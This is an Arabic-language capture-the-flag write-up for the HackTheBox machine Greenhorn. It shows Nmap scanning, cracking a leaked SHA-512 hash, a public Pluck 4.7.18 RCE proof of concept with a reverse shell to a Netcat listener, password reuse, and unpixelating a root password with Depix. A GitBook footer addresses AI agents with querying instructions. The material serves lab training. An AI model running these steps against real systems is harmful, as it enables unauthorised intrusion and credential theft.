> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/greenhorn-hackthebox-writeup.md). # شرح Greenhorn HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * اكتشاف كلمات المرور المضمنة في مستودعات Git * كلمات مرور SHA-512 غير مُجزأة * استغلال Pluck * فك تشفير كلمات المرور المبكسلة (باستخدام DEPIX) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.25 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22,80,3000)

**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p80,22,3000 10.10.11.25 -oN targeted ```

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

### **اكتشاف كلمة المرور:** على المنفذ 3000 نجد خدمة مكشوفة شبيهة بـ Git، مشابهة لـ GitHub، لكنها مخصصة للاستخدام الداخلي في الشركة

ننتقل إلى إنشاء حساب

من بين ملفات المشروع نجد ملفًا يحتوي على كلمة مرور في "`pass.php`":

``` d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163 ```

هذه القيمة المجزأة هي SHA512. بعد فك التشفير، نحصل على كلمة المرور **`iloveyou1`**. {% embed url="" %}

## ثغرة Pluck CMS على المنفذ 80 نجد خدمة ويب Pluck.

الـ `login.php` يتطلب الملف كلمة مرور للوصول إلى واجهة المدير.

يحتوي مدير المحتوى على إصدار `4.7.18`، قابل لتنفيذ التعليمات البرمجية عن بُعد (RCE).

{% embed url="" %} ### مرحلة الاستغلال: 1. استنسخ المستودع الذي يحتوي على سكربت الاستغلال: ```bash git clone https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC.git cd CVE-2023-50564_Pluck-v4.7.18_PoC ``` 2. نعدّل `poc.py` السكربت بعنوان IP الخاص بالخادم وكلمة المرور "*iloveyou1*".

2. بعد ذلك، أنشئ `payload.zip` ملفًا يحتوي على الحمولة الخبيثة، مع ضبط حقلي `` والمنفذ ليتوافقا مع المستمع لدينا.

5. نشغّل سكربت الاستغلال: ```bash python poc.py /home/jordan/......./payload.zip ```

وفي الوقت نفسه، نفتح جلسة استماع على المنفذ `4444` باستخدام Netcat ونحصل على وصول إلى الخادم كمستخدم `www-data`.

من خلال فحص `/etc/passwd` الملف، نكتشف المستخدم "junior". ننجح في الاتصال باستخدام كلمة المرور **iloveyou1**:

### تم الحصول على علم user.txt:

## تصعيد الامتيازات 1. نحدّد موقع ملف PDF: `باستخدام OpenVAS.pdf`. 2. انقل الملف باستخدام Python 3 عبر تشغيل: ```bash python3 -m http.server 1234 ```

3. نقوم بتنزيل ملف PDF باستخدام الأمر التالي:

wget http://10.10.11.25:1234/Using%20OpenVAS.pdf

عند فتح هذا الملف، نكتشف كلمة المرور المشوّهة بالبكسل لحساب المدير

### فك تشفير كلمة المرور: لكسر كلمة المرور المخفية، نستخدم برنامج Depix: {% embed url="" %}

```bash git clone https://github.com/spipm/Depix cd Depix ``` بعد ذلك، ننفذ الأمر: ```bash python3 depix.py / -p pixel.png / -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png / -o /home/jordan/Desktop/password.png ```

كلمة المرور المفكوكة هي:

`sidefromsidetheothersidesidefromsidetheotherside` نسجّل الدخول كمستخدم root باستخدام هذه كلمة المرور.

### فلاغ الجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/greenhorn-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.